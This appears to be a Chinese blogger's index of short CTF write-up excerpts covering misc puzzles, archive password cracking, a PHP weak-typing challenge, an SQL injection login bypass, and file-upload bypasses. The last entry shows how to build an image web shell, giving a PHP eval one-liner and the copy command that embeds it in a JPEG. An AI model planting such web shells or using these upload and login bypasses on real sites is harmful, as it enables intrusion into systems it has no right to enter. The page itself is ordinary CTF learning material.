![](https://img-blog.csdnimg.cn/20201014180756925.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
CTF
��阿兮��
这个作者很懒,什么都没留下…
展开
-
cazy长安战役八卦迷宫
这样可以走通,找出对应的图形,拼出各自所对应的汉字拼音,即为flagCazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}原创 2022-06-22 15:46:00 · 204 阅读 · 1 评论 -
某次比赛wp
栅栏密码在线转换flag{ b9b91a3ee3c4cb441bce9539cf221f28 }属性里将十六进制字符转为文本字符串flag{585abd6e451a4b4f96ecf04060167bd9}下载附件,打开后是一张图片,图片部分区域被打上了马赛克那些半露出的命令有点熟悉,Tab补全猜测路径/usr/bin/head -n 1 /etc/passwd | /usr/bin/awk -F: ‘{printf $1}’ | /usr/bin/md5sumflag{63a9f0ea7bb98原创 2022-06-22 15:42:25 · 210 阅读 · 0 评论 -
你看矛盾吗?
矛盾矛盾,flag提交格式为:flag{}考点:代码审计、构造payload<?php$num=$_GET['num'];if(!is_numeric($num)){echo $num;if($num==1)echo 'flag{**********}';}?>GET请求向服务器提交的参数num的值不能是单纯由数字组成的字符串,且参数num值必须等于1,才能得到flag,前后自相矛盾,但是php是门弱类型语言,字符串与数字在进行比较时,会截取字符串的前面数字部分与整型原创 2022-01-05 11:42:32 · 271 阅读 · 0 评论 -
记一次比赛wp
[萌新]在哪呢打开之后是这样全选文字,新建Word文档,粘贴进去flag{hey_there_is_no_thing}只是个PNG,别想太多了.png拖进Kali,binwalk分离一下,在这里找到了flagflag{zhe_ti_mu_ye_tai_bt_le_XD}CRYPTO[签到]键盘侠UYTGBNM EDCV UYTGBNM TGBUHM YTFVBH QAZXCDE TYUHN EDCTGBF RFVYGNflag{} 提交时括号内为大写字母照键盘画一下,为CLCKO原创 2021-12-13 13:50:13 · 209 阅读 · 0 评论 -
第四届美团杯UNZIP
你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章,了解一下Markdown的基本语法知识。新的改变我们对Markdown编辑器进行了一些功能拓展与语法支持,除了标准的Markdown编辑器功能,我们增加了如下几点新功能,帮助你用它写博客:全新的界面设计 ,将会带来全新的写作体验;在创作中心设置你喜爱的代码高亮样式,Markdown 将代码片显示选择的高亮样式 进行展示;...原创 2021-12-12 12:00:00 · 353 阅读 · 0 评论 -
被偷走的文件
Buuctf misc 被偷走的文件更改文件后缀名为rar原创 2021-03-14 09:23:49 · 241 阅读 · 0 评论 -
秘密文件
Buuctf misc 秘密文件binwalk 305df1f78bef4ccfd2a3bd0fe4a6c0d7.pcapng发现有rar文件更改文件后缀名,发现有密码用ARCHPR进行暴力破解原创 2021-03-14 09:02:56 · 473 阅读 · 0 评论 -
RAR
rar用ARCHPR直接爆破原创 2021-03-13 21:26:11 · 108 阅读 · 0 评论 -
文件中的秘密
文件中的秘密用010Eitor打开原创 2021-03-13 21:19:56 · 182 阅读 · 0 评论 -
基础破解题解
** BUUCTF misc 基础破解**打开文件之后,是一个压缩包根据提示用ARCHPR进行暴力破解得到密码2563打开后发现是Base64,用Base64在线转换工具进行转换后就得到了flag原创 2021-03-11 21:50:26 · 157 阅读 · 0 评论 -
二维码+ZIP
BUUCTF misc 二维码题解扫描二维码发现显示 secret is here 并没什么再用010 Editor打开后,根据文件头和文件尾,发现是一张png图片,并且里面有一个ZIP文件发现该ZIP文件有密码,并且密码是四位数字,需要爆破用工具ziperello进行暴力破解,可以得到...原创 2021-03-11 21:24:14 · 223 阅读 · 0 评论 -
CTFHub文件上传 .htaccess题解
CTFHub文件上传 .htaccess题解查看页面源代码发现不可上传文件类型有很多去,于是上传类型为1.htaccess的文件,内容为AddType application/x-httpd-php .jpg上传成功后使用Burp Suite进行抓包,再改后缀名进行放包,最后连接中国蚁剑...原创 2021-03-11 14:16:15 · 429 阅读 · 0 评论 -
HGAME2021 Level - Week1 Misc部分WP
HGAME2021 Level - Week1Misc部分WPBase全家福复制代码,用Base64在线解密工具解密,复制解密后的代码,用Base32在线解密工具解密,再复制解密后的代码,用Base16在线解密工具进行解密,就得到了flag相关知识点:Base64:包括大写字母(A-Z),小写字母(a-z) ,数字(0-9),以及 + /Base32:包括大写字母(A-Z), 数字(2-7)Base16:大写字母ABCDEF ,数字(0-9)具体参考大佬文章 http://blog.5原创 2021-03-06 19:24:00 · 193 阅读 · 0 评论 -
SQL
BUUCTF[极客大挑战 2019]EasySQL题解题目标题是SQL,用万能登录账户admin’or’1’=‘1,密码admin’or’1’='1,登录,发现登陆成功,就得到了flag原创 2021-03-10 19:24:56 · 95 阅读 · 0 评论 -
MIME验证
CTFHub 文件上传 MIME验证题解上传一句话木马,用Burp Suite进行抓包,并将其后缀名改为.php,然后放包连接中国蚁剑,得到flag原创 2021-03-09 21:30:17 · 263 阅读 · 0 评论 -
如何制作图片一句话木马
如何制作图片一句话木马新建一个文件夹,在其中放入一张图片(图片后缀名只要是图片的那几个后缀名即可)和一句话木马,例如:其中的一句话木马为<?php @eval($_POST["value"]);?>再写入一个cmd的bat文件然后打开bat文件 并输入copy tp.jpg/b+yjh.php shell.jpg这样就会在先前所建的文件夹里,得到了一张新的图片,我命名为了shell.jpg,这时我们就得到了所需要的图片一句话木马。...原创 2021-03-09 20:20:10 · 2987 阅读 · 0 评论